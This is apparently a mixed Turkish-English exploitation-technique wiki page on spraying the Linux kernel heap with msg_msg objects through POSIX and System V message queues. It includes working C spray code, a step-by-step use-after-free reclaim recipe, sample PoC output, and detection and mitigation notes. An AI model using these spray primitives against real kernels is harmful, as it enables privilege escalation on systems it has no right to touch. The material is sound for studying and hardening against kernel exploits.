mqueue object spray¶
Seçilmiş uzunlukta POSIX message-queue mesajları göndererek kernel'in attacker-sized, attacker-filled
struct msg_msg(veposix_msg_tree_node) objelerini allocate etmesini sağla; bu objeler mesaj receive edilene kadar yaşar — kontrol edilebilir bir heap-spray ve UAF-reclaim primitive'i.
Mechanism¶
POSIX message queue'ları (mq_open/mq_timedsend/mq_timedreceive) ve System V queue'ları (msgsnd/msgrcv), queue'daki bir mesajı aynı kernel objesiyle — struct msg_msg artı opsiyonel overflow segment'leriyle — destekler. Mesaj uzunluğu tamamen attacker tarafından seçilir, dolayısıyla allocation'ın size class'ı da seçilmiş olur; mesaj body'si attacker tarafından seçilir, dolayısıyla içerik de seçilir; ve obje, mesaj explicit olarak dequeue edilene kadar kernel'de yaşar. Bu üç özellik tam da bir heap spray'in ihtiyaç duyduğu şeydir.
Note
The header object is laid out as:
struct msg_msg {
struct list_head m_list; /* next / prev */
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next; /* overflow segment chain */
void *security;
/* payload bytes follow inline */
};
Send sırasında load_msg() / alloc_msg() payload'ı böler: header chunk'ı inline olarak DATALEN_MSG = PAGE_SIZE - sizeof(struct msg_msg) byte'a kadar tutar, geri kalan ise her biri DATALEN_SEG = PAGE_SIZE - sizeof(struct msg_msgseg) byte tutan struct msg_msgseg node'larından oluşan bir chain'e taşar. Header allocation boyutu sizeof(struct msg_msg) + min(msg_len, DATALEN_MSG) olduğundan:
- kısa bir mesaj,
msg_msgheader'ını küçük birkmalloc-*cache'ine yerleştirir (örn.kmalloc-64,kmalloc-96, ...kmalloc-4k'ya kadar); - büyük bir mesaj, bir
kmalloc-4kheader'ı artı bir veya daha fazla order-0 segment chunk'ı zorlar.
Attacker böylece msg_len'i seçerek target cache'i ayarlar. Body byte'ları header field'larından sonra aynen yazılır, dolayısıyla spray, freed-then-reused slot içinde seçilen offset'lere seçilen 4-byte/8-byte pattern'leri yerleştirmene imkân tanır — dangling bir objenin field'larını overwrite etmek için ideal (bkz. refcount-imbalance-uaf, mq-notify-netlink-sock-double-sock-put-uaf). Mesaj msgrcv/mq_timedreceive'e kadar copy out edilmediğinden, spray persistent ve tek tek free edilebilir: hem allocation'ı hem de free'nin tam anını sen kontrol edersin. POSIX mqueue ek olarak her priority level başına kmalloc-64 içinde bir struct posix_msg_tree_node (bir rb_node içeren) allocate eder, bu da ikinci, sabit boyutlu bir spray objesi verir. Persistence ile content control'ü farklı şekilde takas eden sk-buff-spray ve setxattr-userfaultfd-universal-heap-spray ile karşılaştır.
Warning
msg_msg, sabit offset'lerde bir security pointer'ı ve bir next pointer'ı taşır; obje gerçek bir msg_msg olarak yorumlandığında (örn. daha sonra onu msgrcv ettiğinde) spray içeriğin bunlarla çakışırsa, bozuk bir next/security crash'e veya leak'e yol açabilir. msg_msg'i sırf farklı bir victim tipini overlay etmek için kullanırken bunun önemi yoktur; ama onu arbitrary read için tekrar bir msg_msg olarak kullanırken (corCTF tekniği) field layout kritik öneme sahiptir.
Walkthrough¶
System V varyantı (sürmesi en kolay olanı). Target cache'e düşen bir boyut seç, sonra spray'le.
#include <sys/ipc.h>
#include <sys/msg.h>
#include <string.h>
struct spray { long mtype; char buf[N]; }; /* N tunes the kmalloc class */
int qid[512];
void spray(int count, int n, char fill) {
struct spray *m = malloc(sizeof(long) + n);
m->mtype = 1;
memset(m->buf, fill, n); /* attacker-controlled contents */
for (int i = 0; i < count; i++) {
qid[i] = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
/* MSG_COPY-free send: object stays resident until msgrcv */
msgsnd(qid[i], m, n, 0);
}
}
n'i, sizeof(struct msg_msg) + n istediğin cache'e düşecek şekilde seç. kmalloc-96 için, 64-bit bir kernel'de sizeof(struct msg_msg) 0x30'dur, dolayısıyla 0x30–0x60 civarında bir n, header'ı kmalloc-96'da tutar.
POSIX mqueue varyantı (ayrıca kmalloc-64 tree node'unu da allocate eder):
#include <mqueue.h>
#include <fcntl.h>
struct mq_attr attr = { .mq_maxmsg = 10, .mq_msgsize = 0x60 };
mqd_t mq = mq_open("/spray", O_CREAT | O_RDWR, 0644, &attr);
char body[0x60];
memset(body, 0x41, sizeof(body));
for (int prio = 0; prio < 8; prio++)
mq_timedsend(mq, body, sizeof(body), prio, NULL); /* msg_msg + posix_msg_tree_node */
Bir UAF'a karşı tipik kullanım:
- Victim objeyi (the bug) free et ki slab slot'u freelist'e düşsün.
- Header boyutu victim'in cache'iyle eşleşen mesajları hemen
spray()'le; bunlardan biri dangling slot'u reclaim eder ve onun body'si victim'in adresine yerleşir. - Dangling reference'ı sür; read/write'lar artık senin sprayled byte'larına çarpar.
- Belleği deterministik şekilde serbest bırakmak veya yeniden şekillendirmek için yalnızca free etmen gereken mesajları (
msgrcv/mq_timedreceiveile) free et.
$ ./poc
[*] sprayed 256 msg_msg objects of size 0x60 (kmalloc-96)
[*] dangling object now overlaps spray slot @ ffff8881...
[+] arbitrary read primitive established
Warning
Spray, resource limit'leriyle sınırlıdır: RLIMIT_MSGQUEUE, /proc/sys/kernel/msgmax (varsayılan 8192 — tek bir SysV mesajını sınırlar), msgmnb ve per-queue mq_maxmsg/mq_msgsize. Bunları tüketmek spray'in ortasında EAGAIN/ENOMEM döndürür. Mesajlar yerleşmeden önce queue header allocation'larının kendilerinin slab'ı perturbe ettiğini de hesaba kat.
Detection¶
- Unprivileged bir process'ten gelen, eşleşen bir
msgrcvolmayan animsgsnd/mq_timedsendpatlamaları — yani iletilmek yerine tutulan mesajlar — bir spray imzasıdır. - Tek bir task'a atfedilebilen yüksek
msg_msg/kmalloc-*slab doluluğu;/proc/slabinfodelta'ları veyaalloc_msg/load_msgüzerindeki BPF ile görülebilir. - Dangling obje ile sprayled
msg_msgtip konusunda anlaşamadığında KASAN overlay'i yakalar.
Mitigation¶
CONFIG_SLAB_FREELIST_RANDOMveinit_on_alloc/init_on_free, determinizmi azaltır ve reused slot'ları sıfırlar, güvenilir reclaim'i köreltir.- Dedicated/randomize edilmiş cache'ler (
CONFIG_RANDOM_KMALLOC_CACHES, cgroup-accounted allocation'lar içinkmalloc-cg-*),msg_msg'i birçok victim'den ayırır ve attacker'ları cross-cache-attack'e iter. - Per-user
RLIMIT_MSGQUEUEve sıkılaştırılmışmsgmax/msgmnb/mqueuesysctl'leri spray hacmini sınırlar.